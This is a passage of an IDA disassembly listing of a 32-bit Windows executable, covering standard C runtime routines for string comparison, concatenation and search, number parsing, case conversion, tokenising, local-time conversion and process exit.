		jnz	short loc_40E02D


loc_40E04A:				; CODE XREF: sub_40E000+2Bj
					; sub_40E000+84j
		pop	edi
		pop	esi

locret_40E04C:				; CODE XREF: sub_40E000+6j
		retn
; ---------------------------------------------------------------------------


loc_40E04D:				; CODE XREF: sub_40E000+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_40E082
		repe cmpsd
		jz	short loc_40E082
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_40E075
		cmp	ch, dh
		jnz	short loc_40E075
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_40E075
		cmp	ch, dh


loc_40E075:				; CODE XREF: sub_40E000+63j
					; sub_40E000+67j ...
		mov	eax, 0


loc_40E07A:				; CODE XREF: sub_40E000+26j
					; sub_40E000+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E082:				; CODE XREF: sub_40E000+55j
					; sub_40E000+59j
		test	eax, eax
		jz	short loc_40E04A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_40E075
		dec	eax
		jz	short loc_40E0A9
		cmp	dh, ch
		jnz	short loc_40E075
		dec	eax
		jz	short loc_40E0A9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_40E075
		dec	eax


loc_40E0A9:				; CODE XREF: sub_40E000+8Fj
					; sub_40E000+96j
		pop	edi
		pop	esi
		retn
sub_40E000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E0AC	proc near		; CODE XREF: sub_4100DB+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40E0C3
		add	esp, 10h
		retn
sub_40E0AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0C3	proc near		; CODE XREF: sub_40E0AC+Ep
					; sub_40E2CB+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_40E0DB:				; CODE XREF: sub_40E0C3+46j
		cmp	dword_422004, 1
		jle	short loc_40E0F3
		movzx	eax, bl
		push	8
		push	eax
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40E102
; ---------------------------------------------------------------------------


loc_40E0F3:				; CODE XREF: sub_40E0C3+1Fj
		mov	ecx, off_421DF8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_40E102:				; CODE XREF: sub_40E0C3+2Ej
		test	eax, eax
		jz	short loc_40E10B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_40E0DB
; ---------------------------------------------------------------------------


loc_40E10B:				; CODE XREF: sub_40E0C3+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_40E119
		or	[ebp+arg_C], 2
		jmp	short loc_40E11E
; ---------------------------------------------------------------------------


loc_40E119:				; CODE XREF: sub_40E0C3+4Ej
		cmp	bl, 2Bh
		jnz	short loc_40E124


loc_40E11E:				; CODE XREF: sub_40E0C3+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_40E124:				; CODE XREF: sub_40E0C3+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_40E2BB
		cmp	eax, 1
		jz	loc_40E2BB
		cmp	eax, 24h
		jg	loc_40E2BB
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_40E16C
		cmp	bl, 30h
		jz	short loc_40E156
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E156:				; CODE XREF: sub_40E0C3+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_40E169
		cmp	al, 58h
		jz	short loc_40E169
		mov	[ebp+arg_8], 8
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E169:				; CODE XREF: sub_40E0C3+97j
					; sub_40E0C3+9Bj
		mov	[ebp+arg_8], ecx


loc_40E16C:				; CODE XREF: sub_40E0C3+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_40E188
		cmp	bl, 30h
		jnz	short loc_40E188
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_40E180
		cmp	al, 58h
		jnz	short loc_40E188


loc_40E180:				; CODE XREF: sub_40E0C3+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_40E188:				; CODE XREF: sub_40E0C3+91j
					; sub_40E0C3+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_40E198:				; CODE XREF: sub_40E0C3+16Cj
		cmp	dword_422004, 1
		movzx	esi, bl
		jle	short loc_40E1B0
		push	4
		push	esi
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40E1BB
; ---------------------------------------------------------------------------


loc_40E1B0:				; CODE XREF: sub_40E0C3+DFj
		mov	eax, off_421DF8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_40E1BB:				; CODE XREF: sub_40E0C3+EBj
		test	eax, eax
		jz	short loc_40E1C7
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_40E1F9
; ---------------------------------------------------------------------------


loc_40E1C7:				; CODE XREF: sub_40E0C3+FAj
		cmp	dword_422004, 1
		jle	short loc_40E1DB
		push	edi
		push	esi
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40E1E6
; ---------------------------------------------------------------------------


loc_40E1DB:				; CODE XREF: sub_40E0C3+10Bj
		mov	eax, off_421DF8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_40E1E6:				; CODE XREF: sub_40E0C3+116j
		test	eax, eax
		jz	short loc_40E234
		movsx	eax, bl
		push	eax
		call	sub_4132C7
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_40E1F9:				; CODE XREF: sub_40E0C3+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_40E234
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_40E21E
		jnz	short loc_40E218
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_40E21E


loc_40E218:				; CODE XREF: sub_40E0C3+147j
		or	[ebp+arg_C], 4
		jmp	short loc_40E227
; ---------------------------------------------------------------------------


loc_40E21E:				; CODE XREF: sub_40E0C3+145j
					; sub_40E0C3+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_40E227:				; CODE XREF: sub_40E0C3+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_40E198
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: sub_40E0C3+125j
					; sub_40E0C3+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_40E252
		test	edx, edx
		jz	short loc_40E24C
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40E24C:				; CODE XREF: sub_40E0C3+181j
		and	[ebp+var_8], 0
		jmp	short loc_40E29F
; ---------------------------------------------------------------------------


loc_40E252:				; CODE XREF: sub_40E0C3+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_40E278
		test	cl, 1
		jnz	short loc_40E29F
		and	ecx, 2
		jz	short loc_40E26F
		cmp	[ebp+var_8], 80000000h
		ja	short loc_40E278


loc_40E26F:				; CODE XREF: sub_40E0C3+1A1j
		test	ecx, ecx
		jnz	short loc_40E29F
		cmp	[ebp+var_8], eax
		jbe	short loc_40E29F


loc_40E278:				; CODE XREF: sub_40E0C3+197j
					; sub_40E0C3+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_481DBC, 22h
		jz	short loc_40E28E
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_40E29F
; ---------------------------------------------------------------------------


loc_40E28E:				; CODE XREF: sub_40E0C3+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_40E29F:				; CODE XREF: sub_40E0C3+18Dj
					; sub_40E0C3+19Cj ...
		test	edx, edx
		jz	short loc_40E2A8
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_40E2A8:				; CODE XREF: sub_40E0C3+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_40E2B6
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_40E2B6:				; CODE XREF: sub_40E0C3+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_40E2C6
; ---------------------------------------------------------------------------


loc_40E2BB:				; CODE XREF: sub_40E0C3+66j
					; sub_40E0C3+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_40E2C4
		mov	[eax], edi


loc_40E2C4:				; CODE XREF: sub_40E0C3+1FDj
		xor	eax, eax


loc_40E2C6:				; CODE XREF: sub_40E0C3+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E0C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2CB	proc near		; CODE XREF: sub_403E11+4A6p
					; sub_4077FD+2166p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40E0C3
		add	esp, 10h
		retn
sub_40E2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E2E2	proc near		; CODE XREF: sub_403E11+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_418068	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_418124	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_481DB2
		jnz	short loc_40E347
		mov	ax, [ebp+var_18]
		cmp	ax, word_481DB0
		jnz	short loc_40E347
		mov	ax, [ebp+var_1A]
		cmp	ax, word_481DAE
		jnz	short loc_40E347
		mov	ax, [ebp+var_1E]
		cmp	ax, word_481DAA
		jnz	short loc_40E347
		mov	ax, [ebp+var_20]
		cmp	ax, word_481DA8
		jnz	short loc_40E347
		mov	eax, dword_481DA0
		jmp	short loc_40E38C
; ---------------------------------------------------------------------------


loc_40E347:				; CODE XREF: sub_40E2E2+28j
					; sub_40E2E2+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_418120	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E374
		cmp	eax, 2
		jnz	short loc_40E370
		cmp	[ebp+var_32], 0
		jz	short loc_40E370
		cmp	[ebp+var_24], 0
		jz	short loc_40E370
		push	1
		pop	eax
		jmp	short loc_40E377
; ---------------------------------------------------------------------------


loc_40E370:				; CODE XREF: sub_40E2E2+7Aj
					; sub_40E2E2+81j ...
		xor	eax, eax
		jmp	short loc_40E377
; ---------------------------------------------------------------------------


loc_40E374:				; CODE XREF: sub_40E2E2+75j
		or	eax, 0FFFFFFFFh


loc_40E377:				; CODE XREF: sub_40E2E2+8Cj
					; sub_40E2E2+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_481DA8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_481DA0, eax
		pop	esi


loc_40E38C:				; CODE XREF: sub_40E2E2+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_413393
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_40E3BC
		mov	[ecx], eax

locret_40E3BC:				; CODE XREF: sub_40E2E2+D6j
		leave
		retn
sub_40E2E2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E3C0	proc near		; CODE XREF: sub_4051D9+75p
					; sub_4077FD+40Cp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_40E431
sub_40E3C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E3D0	proc near		; CODE XREF: sub_4051D9+6Ep
					; sub_4077FD+415p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40E3EC


loc_40E3DD:				; CODE XREF: sub_40E3D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40E41F
		test	ecx, 3
		jnz	short loc_40E3DD


loc_40E3EC:				; CODE XREF: sub_40E3D0+Bj
					; sub_40E3D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40E3EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40E42E
		test	ah, ah
		jz	short loc_40E429
		test	eax, 0FF0000h
		jz	short loc_40E424
		test	eax, 0FF000000h
		jz	short loc_40E41F
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E41F:				; CODE XREF: sub_40E3D0+12j
					; sub_40E3D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_40E431
; ---------------------------------------------------------------------------


loc_40E424:				; CODE XREF: sub_40E3D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_40E431
; ---------------------------------------------------------------------------


loc_40E429:				; CODE XREF: sub_40E3D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_40E431
; ---------------------------------------------------------------------------


loc_40E42E:				; CODE XREF: sub_40E3D0+39j
		lea	edi, [ecx-4]


loc_40E431:				; CODE XREF: sub_40E3C0+5j
					; sub_40E3D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_40E456


loc_40E43D:				; CODE XREF: sub_40E3D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_40E4A8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_40E43D
		jmp	short loc_40E456
; ---------------------------------------------------------------------------


loc_40E451:				; CODE XREF: sub_40E3D0+9Ej
					; sub_40E3D0+B8j
		mov	[edi], edx
		add	edi, 4


loc_40E456:				; CODE XREF: sub_40E3D0+6Bj
					; sub_40E3D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40E451
		test	dl, dl
		jz	short loc_40E4A8
		test	dh, dh
		jz	short loc_40E49F
		test	edx, 0FF0000h
		jz	short loc_40E492
		test	edx, 0FF000000h
		jz	short loc_40E48A
		jmp	short loc_40E451
; ---------------------------------------------------------------------------


loc_40E48A:				; CODE XREF: sub_40E3D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40E492:				; CODE XREF: sub_40E3D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40E49F:				; CODE XREF: sub_40E3D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40E4A8:				; CODE XREF: sub_40E3D0+72j
					; sub_40E3D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_40E3D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B0	proc near		; CODE XREF: sub_4051D9+31p
					; sub_407041+132p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_40E52A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_40E517


loc_40E4C8:				; CODE XREF: sub_40E4B0+52j
					; sub_40E4B0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_40E4EA
		test	al, al
		jz	short loc_40E4E4


loc_40E4D9:				; CODE XREF: sub_40E4B0+32j
		mov	al, [esi]
		inc	esi


loc_40E4DC:				; CODE XREF: sub_40E4B0+3Fj
		cmp	al, dl
		jz	short loc_40E4EA
		test	al, al
		jnz	short loc_40E4D9


loc_40E4E4:				; CODE XREF: sub_40E4B0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40E4EA:				; CODE XREF: sub_40E4B0+23j
					; sub_40E4B0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_40E4DC
		lea	edi, [esi-1]


loc_40E4F4:				; CODE XREF: sub_40E4B0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_40E523
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_40E4C8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_40E523
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_40E4F4
		jmp	short loc_40E4C8
; ---------------------------------------------------------------------------


loc_40E517:				; CODE XREF: sub_40E4B0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_40E616
; ---------------------------------------------------------------------------


loc_40E523:				; CODE XREF: sub_40E4B0+49j
					; sub_40E4B0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40E52A:				; CODE XREF: sub_40E4B0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_40E4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E530	proc near		; CODE XREF: sub_411DAE+9p

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_481E4C, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_40E55D
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_40E5F6
		cmp	eax, 5Ah
		jg	loc_40E5F6
		add	eax, 20h
		jmp	loc_40E5F6
; ---------------------------------------------------------------------------


loc_40E55D:				; CODE XREF: sub_40E530+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_40E591
		cmp	dword_422004, esi
		jle	short loc_40E57F
		push	esi
		push	ebx
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40E589
; ---------------------------------------------------------------------------


loc_40E57F:				; CODE XREF: sub_40E530+42j
		mov	eax, off_421DF8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_40E589:				; CODE XREF: sub_40E530+4Dj
		test	eax, eax
		jnz	short loc_40E591


loc_40E58D:				; CODE XREF: sub_40E530+ADj
		mov	eax, ebx
		jmp	short loc_40E5F6
; ---------------------------------------------------------------------------


loc_40E591:				; CODE XREF: sub_40E530+3Aj
					; sub_40E530+5Bj
		mov	edx, off_421DF8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_40E5B5
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_40E5BE
; ---------------------------------------------------------------------------


loc_40E5B5:				; CODE XREF: sub_40E530+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_40E5BE:				; CODE XREF: sub_40E530+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_481E4C
		call	sub_413455
		add	esp, 20h
		test	eax, eax
		jz	short loc_40E58D
		cmp	eax, esi
		jnz	short loc_40E5E9
		movzx	eax, [ebp+var_4]
		jmp	short loc_40E5F6
; ---------------------------------------------------------------------------


loc_40E5E9:				; CODE XREF: sub_40E530+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_40E5F6:				; CODE XREF: sub_40E530+16j
					; sub_40E530+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E530	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_40E610


loc_40E600:				; CODE XREF: sub_40E610+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_40E610
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E610	proc near		; CODE XREF: sub_40570A+21p
					; sub_4077FD+3F1p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0040E600 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_40E616:				; CODE XREF: sub_40E4B0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_40E63B


loc_40E628:				; CODE XREF: sub_40E610+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_40E600
		test	cl, cl
		jz	short loc_40E684
		test	edx, 3
		jnz	short loc_40E628


loc_40E63B:				; CODE XREF: sub_40E610+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_40E646:				; CODE XREF: sub_40E610+61j
					; sub_40E610+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_40E688
		and	eax, 81010100h
		jz	short loc_40E646
		and	eax, 1010100h
		jnz	short loc_40E682
		and	esi, 80000000h
		jnz	short loc_40E646


loc_40E682:				; CODE XREF: sub_40E610+68j
					; sub_40E610+81j ...
		pop	esi
		pop	edi


loc_40E684:				; CODE XREF: sub_40E610+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40E688:				; CODE XREF: sub_40E610+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_40E6C5
		test	al, al
		jz	short loc_40E682
		cmp	ah, bl
		jz	short loc_40E6BE
		test	ah, ah
		jz	short loc_40E682
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_40E6B7
		test	al, al
		jz	short loc_40E682
		cmp	ah, bl
		jz	short loc_40E6B0
		test	ah, ah
		jz	short loc_40E682
		jmp	short loc_40E646
; ---------------------------------------------------------------------------


loc_40E6B0:				; CODE XREF: sub_40E610+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40E6B7:				; CODE XREF: sub_40E610+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40E6BE:				; CODE XREF: sub_40E610+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40E6C5:				; CODE XREF: sub_40E610+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_40E610	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E6CC	proc near		; CODE XREF: sub_4069FF+238p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_40E6E3


loc_40E6D9:				; CODE XREF: sub_40E6CC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_40E6D9


loc_40E6E3:				; CODE XREF: sub_40E6CC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_40E6CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E6E9	proc near		; CODE XREF: sub_4077FD+AEp
					; sub_4077FD+C1p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_40E702:				; CODE XREF: sub_40E6E9+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_40E702
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_40E72A
		mov	edx, dword_481DB8


loc_40E72A:				; CODE XREF: sub_40E6E9+39j
					; sub_40E6E9+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_40E74A
		test	al, al
		jz	short loc_40E74A
		inc	edx
		jmp	short loc_40E72A
; ---------------------------------------------------------------------------


loc_40E74A:				; CODE XREF: sub_40E6E9+58j
					; sub_40E6E9+5Cj
		mov	ebx, edx


loc_40E74C:				; CODE XREF: sub_40E6E9+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_40E770
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_40E76C
		inc	edx
		jmp	short loc_40E74C
; ---------------------------------------------------------------------------


loc_40E76C:				; CODE XREF: sub_40E6E9+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_40E770:				; CODE XREF: sub_40E6E9+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_481DB8, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_40E6E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E785	proc near		; CODE XREF: sub_40EB84+93p
		mov	eax, off_41FC4C
		test	eax, eax
		jz	short loc_40E790
		call	eax ; sub_40CEB9


loc_40E790:				; CODE XREF: sub_40E785+7j
		push	offset dword_41A024
		push	offset dword_41A010
		call	sub_40E86D
		push	offset dword_41A00C
		push	offset dword_41A000
		call	sub_40E86D
		add	esp, 10h
		retn
sub_40E785	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E7B2	proc near		; CODE XREF: sub_40EB84+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_40E7D4
		add	esp, 0Ch
		retn
sub_40E7B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E7C3	proc near		; CODE XREF: .nsp0:0040EC75p
					; sub_40EC7A+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_40E7D4
		add	esp, 0Ch
		retn
sub_40E7C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E7D4	proc near		; CODE XREF: sub_40E7B2+8p
					; sub_40E7C3+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_481E04, edi
		jnz	short loc_40E7F1
		push	[esp+4+arg_0]
		call	dword_4180D4	; GetCurrentProcess
		push	eax
		call	dword_4180D8	; TerminateProcess


loc_40E7F1:				; CODE XREF: sub_40E7D4+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
